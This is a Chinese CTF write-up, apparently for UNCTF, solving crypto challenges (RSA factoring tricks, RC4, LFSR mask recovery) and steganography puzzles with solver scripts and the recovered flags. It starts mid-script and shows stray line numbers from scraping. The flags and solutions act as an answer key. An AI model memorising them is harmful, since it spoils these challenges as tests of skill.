g = 28493930909416220193248976348190268445371212704486248387964331415565449421099615661533797087163499951763570988748101165456730856835623237735728305577465527656655424601018192421625513978923509191087994899267887557104946667250073139087563975700714392158474439232535598303396614625803120915200062198119177012906806978497977522010955029535460948754300579519507100555238234886672451138350711195210839503633694262246536916073018376588368865238702811391960064511721322374269804663854748971378143510485102611920761475212154163275729116496865922237474172415758170527875090555223562882324599031402831107977696519982548567367160
e = 0x10001

p = gcd(pow(2,g,n)-1,n)
q = n//p
f = (p-1)*(q-1)
d = inverse_mod(e,f)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

# b'UNCTF{DO_y0u_Fermat_1ittle_theOrem}'

超级加倍

根据”加倍“,脑洞大猜小指数 $e$ 攻击,开方即可。

1
2
3
4
5
6
import gmpy2
c=364948328635256862807658970246807356738683637564484151183420122283833769442806688034764747801289594899501872549412387392353830842750341246881725380294423193634163908298756097744423833369487321345708403908358587818931161805853745707954962941881920962518131654701890269025702523666873057795301975752113492236398361724355733200822450695761
m=gmpy2.iroot(c,4)[0]
print(bytes.fromhex(hex(m)[2:]))

# b'flag{it_is_much_bigger_than_before}'

EZcry

提示1:流密码

密文:dd9f58b37289edc2c40133ab9f0439c140aafe7cfd501f8c3d79b1856c9bda598ce34a02a57c

key:12345678

根据提示测试常见流密码,RC4成功解出 flag{83e429d991d24c548b9dbd256975d0d5}

easy_lfsr

你能求出我的mask吗

根据512级LFSR连续1024个bit的产出,求掩码。

由于LFSR的性质,每一次生成的bit都会加到向量的最低位,同时丢弃掉最高位bit。于是在连续512次生成之后,原有的 KEY 所有的位都被丢弃,LFSR的状态会转为已知的512个bit,即所给出的串的前512位。之后完全知道了LFSR的状态,只需要在已知状态的情况下推出掩码。

每连续512个bit可以生成下一个bit。已知这512个 bit,也知道下一个bit,但掩码未知。问题等价于:在 $\text{GF}(2)$ 上,512位的已知的状态向量,点乘512位的掩码向量,得到的数已知,求掩码向量。状态向量有512维,则有512组方程。

解方程组的问题转化为矩阵求逆问题。把LFSR状态逐行写在矩阵上,形成的矩阵记为 $M$,把LFSR每次所生成的结果拼成的向量记为 $T$,则掩码向量 $v$ 有:$M \cdot v = T$,即 $v=M^{-1} \cdot T$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import itertools

r1 = 1261758973831852037364036680281442789461569523587512977925542995725854499352478233840720068310447535900840104847512878006505600998481136843381903570688446
r2 = 1563853949934744587783542352813857485182445023523734908403585490477271641971239139925690033798570364214960692427704824920072270819031456154655408096237757

def test():
s = [int(x) for x in bin(r1)[2:].rjust(512,'0')+bin(r2)[2:].rjust(512,'0')]

M = matrix(GF(2), 512, 512)
T = vector(GF(2), 512)

for i in range(len(s) - 512):
M[i] = s[i : i + 512]
T[i] = s[i+512]
try:
mask = M.inverse() * T
return int(''.join(map(str, (mask))),2)
except:
return

flag = test()
print(bytes.fromhex(hex(flag)[2:]))

# b"flag{09de44be-5b3d-11ed-b764-ac1203ab14d7}\xb0vgf\x96\xdf`v\xc6d@\x14\xf7\x98\xaf\xac'\xf8K\xbb+\x00"

# Misc

magic_word

乱码+零宽隐写

Wingdings字体转正常字体如宋体,全选内容复制,零宽隐写工具提取得 unctf{We1come_new_ctfer}

找得到我吗

以压缩包方式打开docx,在document.xml中发现:

<w:rFonts w:hint="default" w:cs="flag{You_find_me!}" w:asciiTheme="minorAscii" w:hAnsiTheme="minorAscii"/>

syslog

在log文件中找到关键一行:

Nov 2 02:34:14 ubuntu bi0x: [Password] cGFzc3dvcmQgaXMgVTZudTJfaTNfYjNTdA==

base64解码得到密码 password is U6nu2_i3_b3St,解压得flag:unctf{N1_sH3_D0n9_L0g_dE!}

In_the_Morse_Garden

PDF中全选复制出文字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
UNCTF{5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm
+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5
46b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlO
WPpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k
5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOeOm
+WNoeW3tOWNoeeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg546b5Y2h5be05Y
2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3
lj6Tmr5Tlj6Tkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg54
6b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+kIOS+neWPpOavlOW
PpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg5L6d5Y+k5q+U5Y
+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6Tnjpvlja
Hlt7TljaEg5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWN
oSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7T
ljaE=}

中间部分base64解码得到的 依古比古 换为 .玛卡巴卡 换为 -,再摩斯密码解得 WAN_AN_MAKA_BAKAAAAA!

清和fan

小w一直对真人二次元没啥抵抗力,当他见到清和的时候,小w直呼这就是心动的感觉。

第一层,根据压缩包注释,密码为清和B站uid下划线最高播放量视频发布日期,找到密码 836885_2022/05/20

第二层,png图片LSB隐写,提取出 password is :qq857488580

第三层,音频文件SSTV,得到图片中密码 V@mpir3

最后一层,文本内零宽隐写,用在线工具提取得到 unctf{wha1e_wants_a_girlfriend_like_alicia}

芝麻开门

带密码的LSB隐写:python2 lsb.py extract flag.png xxx.txt key1

flag: flag{faf5bdd5-ba3d-11da-ad31-d33d75182f1b}

我小心海也绝非鳝类

png图片中有字符串 F#S<YIcHnAG;,base92解码 flaginmd5;尾部 RUFTWUxTQg==,base64解码 EASYLSB

zsteg查看不到有用信息,用cloaked-pixel带密码的LSB提取:python2 lsb.py extract 1.png out.txt flaginmd5,得到:

1
8FA14CDD754F91CC6554C9E71929CCE72DB95E8E1A9267B7A1188556B2013B330CC175B9C0F1B6A831C399E269772661B2F5FF47436671B6E533D8DC3614845DF95B70FDC3088560732A5AC135644506F1290186A5D0B1CEAB27F4E77C0C5D68E1671797C52E15F763380B45E841EC322DB95E8E1A9267B7A1188556B2013B334A8A08F09D37B73795649038408B5F33D95679752134A2D9EB61DBD7B91C4BCC6F8F57715090DA2632453988D9A1501BE1671797C52E15F763380B45E841EC32B14A7B8059D9C055954C92674CE60032E358EFA489F58062F10DD7316B65649ED95679752134A2D9EB61DBD7B91C4BCCB14A7B8059D9C055954C92674CE600326F8F57715090DA2632453988D9A1501B865C0C0B4AB0E063E5CAA3387C1A874103C7C0ACE395D80182DB07AE2C30F0344A8A08F09D37B73795649038408B5F33CBB184DD8E05C9709E5DCAEDAA0495CF

根据前面的提示,这串字符串为md5值的组合,爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from hashlib import md5

s = '8FA14CDD754F91CC6554C9E71929CCE72DB95E8E1A9267B7A1188556B2013B330CC175B9C0F1B6A831C399E269772661B2F5FF47436671B6E533D8DC3614845DF95B70FDC3088560732A5AC135644506F1290186A5D0B1CEAB27F4E77C0C5D68E1671797C52E15F763380B45E841EC322DB95E8E1A9267B7A1188556B2013B334A8A08F09D37B73795649038408B5F33D95679752134A2D9EB61DBD7B91C4BCC6F8F57715090DA2632453988D9A1501BE1671797C52E15F763380B45E841EC32B14A7B8059D9C055954C92674CE60032E358EFA489F58062F10DD7316B65649ED95679752134A2D9EB61DBD7B91C4BCCB14A7B8059D9C055954C92674CE600326F8F57715090DA2632453988D9A1501B865C0C0B4AB0E063E5CAA3387C1A874103C7C0ACE395D80182DB07AE2C30F0344A8A08F09D37B73795649038408B5F33CBB184DD8E05C9709E5DCAEDAA0495CF'.lower()
s = [s[32*i:32*i+32] for i in range(len(s)//32)]

dic = {}
for k in range(32,127):
dic[md5(chr(k).encode()).hexdigest()] = chr(k)

flag = ''
for k in s:
flag += dic[k]

print(flag)

# flag{welcome_to_misc}

MY PICTURE

将dat文件异或0x8e,解压得到encode.py,内为图片加密算法,逻辑为逐像素RGB值简单异或,还原即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from PIL import Image

c = Image.open(r'flag.png','r')
l,h = c.size
print(l,h)
m = Image.new('RGB',(h,l))
for i in range(l):
for j in range(h):
r1,g1,b1 = c.getpixel((i,j))
r = g1^b1
g = r1^r
b = g1^g
m.putpixel(((i*1200+j)//787,(i*1200+j)%787),(b,g,r))
m.save(r'flag.jpg')
c.close()
m.close()

还原图片中的flag:UNCTF{93bb442f-2a76-2b6f-c42f-c2297f5fdaf9}

贝斯家族的侵略

提示1:如果明文攻击失败,尝试使用bandzip

提示2:会动的鼠标

第一层,根据提示1,bandzip压缩后明文攻击,解压;

第二层,base64隐写,脚本提取隐写内容:

1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding: utf-8 -*-
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('1.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print(''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])) #8 位一组

得到的内容16进制转字符串,得到一个文件;

第三层,根据文件内的提示 Macro.mrf,猜测为鼠标轨迹记录,使用Macro Recorder工具打开,逐条查看轨迹得到flag:flag{b4s3_1s_v3ry_g0od!!}